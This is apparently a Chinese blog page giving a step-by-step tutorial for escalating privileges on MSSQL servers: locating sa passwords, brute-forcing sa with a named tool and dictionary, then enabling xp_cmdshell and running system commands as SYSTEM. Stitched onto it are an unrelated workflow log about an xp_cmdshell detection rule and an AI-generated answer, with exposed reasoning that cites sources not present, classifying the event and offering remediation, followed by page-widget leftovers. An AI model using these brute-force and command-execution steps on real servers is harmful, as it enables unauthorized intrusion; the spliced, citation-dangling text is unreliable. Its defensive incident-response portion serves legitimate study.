内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令

条件

所谓利用数据进行提权,利用的其实是数据库的运行权限,所以只要我们满足以下条件即可进行提权:
1、 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。
2、 必须可以以某种方式执行sql语句,例如:webshell或者是1433端口的连接。

提权基本思路过程与原理

1.MSSQL在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比管理员小;而在2003以上的版本,则为最高权限。
2.获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net(aspx)的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
3.通过端口扫描查看1433(mssql默认端口)是否对外开放,如果对外开放可使用远程连接,使用sql连接器连接进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
4.sa作为mssql的默认最高权限的账户,在正常情况下,可以通过xp_cmdshell等方式执行系统命令。

此处介绍另一种方法:利用爆破不上传websheel进行提权

1.使用nmap进行端口扫描,查看1433端口是否开放,如果开放即可远程连接

2.使用华军1433弱密码口令扫描工具爆破sa用户密码
命令行安装路径下输入以下命令(ip.txt里写要爆破的ip,pass.txt里是字典,写好后都放到安装目录下),就会在安装路径里生成1.txt文件,里面记录了扫描结果

exeHack1.exe -i ip.txt -p pass.txt -o 1.txt

3.navicat sql server利用sa用户远程连接

4.之后使用xp_cmdshell执行系统命令

4.1 开启xp_cmdshell扩展存储过程

navicat sql server里新建查询,输入以下命令:(1开启,0关闭,关闭时从下往上依次关闭)

use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

4.2 执行系统命令
新建查询,输入以下命令,可看到当前用户为system,之后whoami处替换命令即可

use master;
exec master..xp_cmdshell "whoami";

{"runId":"01K78FW065W782PK8N9VJWSRKX","status":"success","nodes":{"cvpppc2g9j5n2n548cu0":{"input":"{\"ruleName\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","output":"{\"ruleName\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","status":"success","message":"","costMs":2,"costToken":0,"nodeType":"start"},"cvpppc2g9j5n2n548cug":{"input":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"content\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":13,"costToken":0,"nodeType":"end"},"d0nffdociqnrbkrs6geg":{"input":"{\"sys_user_query\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":44133,"costToken":1898,"nodeType":"agent"},"d0nu05a698m0pfuflkb0":{"input":"{\"sys_user_query\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":43941,"costToken":1803,"nodeType":"agent"},"d0nu088ciqnrbkrs6ha0":{"input":"{\"sys_user_query\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":2721,"costToken":184,"nodeType":"agent"}},"steps":["cvpppc2g9j5n2n548cu0","d0nffdociqnrbkrs6geg","d0nu05a698m0pfuflkb0","d0nu088ciqnrbkrs6ha0","cvpppc2g9j5n2n548cug"],"costMs":90827,"output":"{\"content\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","costToken":3885} 这段代码属于什么安全事件类型
最新发布
10-22
<think>嗯,用户这次的问题聚焦在"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问"的安全事件类型判定。结合之前对话中用户供的三则引用内容,需要特别注意用户对MSSQL安全性的关注点。 用户引用[1]特别MSSQL数据库安全的重要性,很多安全工程师容易忽视这点导致入侵。引用[2]展示了Windows漏洞检测方法,引用[3]则是应急响应流程。这些线索说明用户真正关心的是:攻击者利用MSSQL特性实施入侵的场景归类。 深入分析该攻击特征: - 核心攻击载体是xp_cmdshell,这是MSSQL的危险扩展存储过程,允许执行操作系统命令 - 攻击者通常在URI参数中构造恶意SQL语句触发该过程 - 典型攻击链为:SQL注入→启用xp_cmdshell执行系统命令→获取服务器权限 根据攻击危害程度可细分为两类安全事件: 1. 数据库权限升攻击:当攻击者尝试启用xp_cmdshell但未执行命令时,属于垂直越权行为 2. 服务器入侵事件:成功执行系统命令后,即构成完整的服务器入侵 需要强调防御难点:引用[1]指出ASP开发中代码审查不严格的问题,这正是SQL注入漏洞的根源。而引用[3]的应急流程恰好对应事件处置步骤——从取证阶段检查日志到根除阶段修复漏洞。 用户供的日志片段虽然显示C&C域名检测,但新问题转向数据库攻击,说明ta可能在分析完整攻击链:从初始入侵(SQL注入)到驻留阶段(C&C通信)的全过程。 </think>根据URI中包含`xp_cmdshell`存储过程命令的特征,该安全事件属于**数据库命令注入攻击**,具体可细分为以下两类: ### 一、核心安全事件类型 1. **权限升攻击** - 攻击者通过Web应用的SQL注入漏洞调用`xp_cmdshell`,将数据库权限升至操作系统级 - 实现原理: ```mermaid graph LR A[SQL注入点] --> B{执行命令} B -->|xp_cmdshell 'whoami'| C[获取SYSTEM权限] B -->|xp_cmdshell 'net user'| D[创建管理员账户] ``` - 危害:直接控制数据库服务器[^1] 2. **服务器入侵事件** - 典型攻击链: ```math \small \begin{cases} \text{SQL注入} \rightarrow \text{启用xp\_cmdshell} \rightarrow \text{执行系统命令} \\ \downarrow \\ \text{下载恶意软件} \rightarrow \text{建立持久化后门} \end{cases} ``` - 取证关键:检查`xp_cmdshell`执行的命令记录(如`cmd.exe /c`下载行为)[^3] ### 二、关联攻击技术 | 技术手段 | 目的 | 防御要点 | |------------------------|-------------------------------|------------------------------| | **SQL注入** | 注入恶意SQL调用存储过程 | 输入过滤+参数化查询 | | **存储过程滥用** | 绕过数据库权限体系 | 禁用高危存储过程[^1] | | **命令执行** | 控制操作系统 | 限制数据库服务账户权限 | | **横向移动** | 通过网络共享渗透内网 | 网络隔离+主机加固 | ### 三、应急响应关键步骤 1. **取证阶段** - 检查IIS日志中异常URI(如含`exec xp_cmdshell`的请求) - 审计MSSQL错误日志中的`xp_cmdshell`调用记录[^3] 2. **根除阶段** ```sql -- 立即禁用xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; ``` 3. **修复阶段** - 更新ASP代码中SQL查询为参数化形式: ```asp ' 危险写法 sql = "SELECT * FROM users WHERE id=" & Request("id") ' 安全写法 Set cmd = Server.CreateObject("ADODB.Command") cmd.Parameters.Append cmd.CreateParameter("@id", adInteger, adParamInput, , Request("id")) ``` - 安装MSSQL补丁(使用类似引用[2]的漏洞检测工具) ### 四、攻击溯源线索 - **日志特征**:`xp_cmdshell`调用常伴随`cmd.exe /c`执行 - **关联事件**:若后续出现C&C通信(如gd_cncert_40_1规则告警),表明已沦陷 > 此事件本质是**利用数据库特性突破安全边界**的混合攻击,需同时修复Web应用漏洞(ASP代码审计)和数据库配置缺陷[^1]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值